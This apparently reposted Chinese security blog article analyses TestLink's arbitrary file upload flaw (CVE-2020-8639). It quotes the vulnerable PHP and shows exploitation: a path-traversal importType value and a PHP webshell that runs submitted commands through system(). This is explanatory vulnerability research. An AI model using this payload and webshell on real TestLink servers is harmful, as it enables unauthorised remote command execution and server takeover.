浅析TestLink的三个CVE
2020-05-14 09:10:13 Author: xz.aliyun.com(查看原文) 阅读量:489 收藏

Testlink是一个开源的、PHP编写的,基于Web的测试管理和测试执行系统。

github网址为:https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/1.9.20

在最近的一次安全审计中,被发现了一个任意文件上传漏洞(CVE-2020-8639)和两个SQL注入漏洞(CVE-2020-8637、CVE-2020-8638)。

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639

下面我们将对这三个已发现的漏洞及其被利用的方式进行概述。

任意文件上传的分析

Teslink提供了使用关键字对测试用例进行分类的可能性。这些关键字可以导出和导入,在这次操作中,我们发现了第一个漏洞

这个界面允许我们上传一个包含关键字的文件,通过选择文件类型,我们可以选择XML或CSV格式。现在我们看一下在文件keywordsImport.php中存在的init_args方法的实现。

function init_args(&$dbHandler)
{
  $_REQUEST = strings_stripSlashes($_REQUEST);
  $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
                 "importType" => array(tlInputParameter::STRING_N,0,100),
                 "tproject_id" => array(tlInputParameter::INT_N));
  $args = new stdClass();
  R_PARAMS($ipcfg,$args);
  if( $args->tproject_id <= 0 )
  {
    throw new Exception(" Error Invalid Test Project ID", 1);
  }
  // Check rights before doing anything else
  // Abort if rights are not enough
  $user = $_SESSION['currentUser'];
  $env['tproject_id'] = $args->tproject_id;
  $env['tplan_id'] = 0;
  $check = new stdClass();
  $check->items = array('mgt_modify_key');
  $check->mode = 'and';
  checkAccess($dbHandler,$user,$env,$check);
  $tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];
  $args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
  $args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
  $args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
  $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
  return $args;
}

首先,strings_stripSlashes方法取消了==$_REQUEST==中所有引用的字符串值。然后用R_PARAMS方法从REQUEST中获取ipcfg中定义的参数并存储在args中。上传的文件被存储在$args->source中,而​$args->importType的值被串联在$args->dest中。我们可以很容易的将importType的值改为/./././any/folder/we/want。换句话说,这个参数是容易被路径遍历的。

现在我们看看 $args->dest 是在哪被用上的:

$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
{
  if(($args->source != 'none') && ($args->source != ''))
  {
    if (move_uploaded_file($args->source, $args->dest))

它被用在move_uploaded_file,所以我们可以上传任何服务器目录下的一个文件。

任意文件上传的利用

利用这个漏洞的一个方法是在部署Testlink的服务器上上传一个webshell,使其远程执行代码。要做到这一点,我们需要在服务器上找到一个运行Testlink的系统用户有写权限的路径(例如,/logs)。

importType的值可以是/.../.../.../.../.../logs/ws.php,我们需要在PHP中的变量uploadFile中传递我们的webshell的代码。例如,这可以用下面的方法来实现。

<html>
    <body>
        <form method="POST">
            <input name="command" id="command" />
            <input type="submit" value="Send" />
        </form>
        <pre>
            <?php if(isset($_POST['Command']))
        {
            system($_POST['Command']);
        } ?>
        </pre>
    </body>
</html>

随后我们就可以在server上执行命令。


文章来源: http://xz.aliyun.com/t/7719
如有侵权请联系:admin#unsafe.sh